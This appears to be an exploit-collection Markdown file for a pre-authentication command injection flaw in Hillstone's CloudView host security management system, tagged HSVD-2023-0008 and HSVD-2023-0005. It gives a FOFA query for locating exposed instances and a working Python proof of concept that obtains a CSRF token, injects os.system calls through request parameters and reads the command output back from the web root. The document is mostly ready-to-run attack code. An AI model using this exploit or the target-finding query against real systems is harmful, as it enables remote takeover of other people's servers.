山石网科云鉴存在前台任意命令执行漏洞.md

山石网科云鉴存在前台任意命令执行漏洞

fofa

"山石云鉴主机安全管理系统"

poc

import requests
'''
HSVD-2023-0008
'''
def setSystemTimeAction(newcsrf,headers):
    url =  "https://192.168.199.221/master/ajaxActions/setSystemTimeAction.php?token_csrf="+newcsrf
    proxies = {'https':'http://127.0.0.1:8080'}
    x = "param=os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
    #req2 = requests.post(url2, data=x, proxies=proxies, verify=False, headers=headers)
    req2 = requests.post(url, data=x,headers=headers, verify=False)

'''
HSVD-2023-0005
'''
def getMessageSettingAction(newcsrf,header):
    proxies = {'https':'http://127.0.0.1:8080'}
    company_uuid = "aaa"
    platform_sel = "os.system('id > /opt/var/majorsec/installation/master/runtime/img/config')"
    url = 'https://192.168.199.221/master/ajaxActions/getMessageSettingAction.php?token_csrf='+newcsrf+"&company_uuid="+company_uuid+"&platform_sel="+platform_sel
    req = requests.get(url, headers=header, verify=False)
    print(req.text)


def main():
    headers = {"Cookie": "PHPSESSID=emhpeXVhbg;",
           "Content-Type":"application/x-www-form-urlencoded; charset=UTF-8"
           }
    url = "https://192.168.199.221/master/ajaxActions/getTokenAction.php"
    req = requests.post(url, verify=False, headers=headers)
    newcsrf = req.text.replace("\n", "")
    setSystemTimeAction(newcsrf,headers)
    reshell = requests.get('https://192.168.199.221/master/img/config',verify=False)
    print('---------------------cmd-------------------------')
    print(reshell.text)

if __name__ == '__main__':
    main()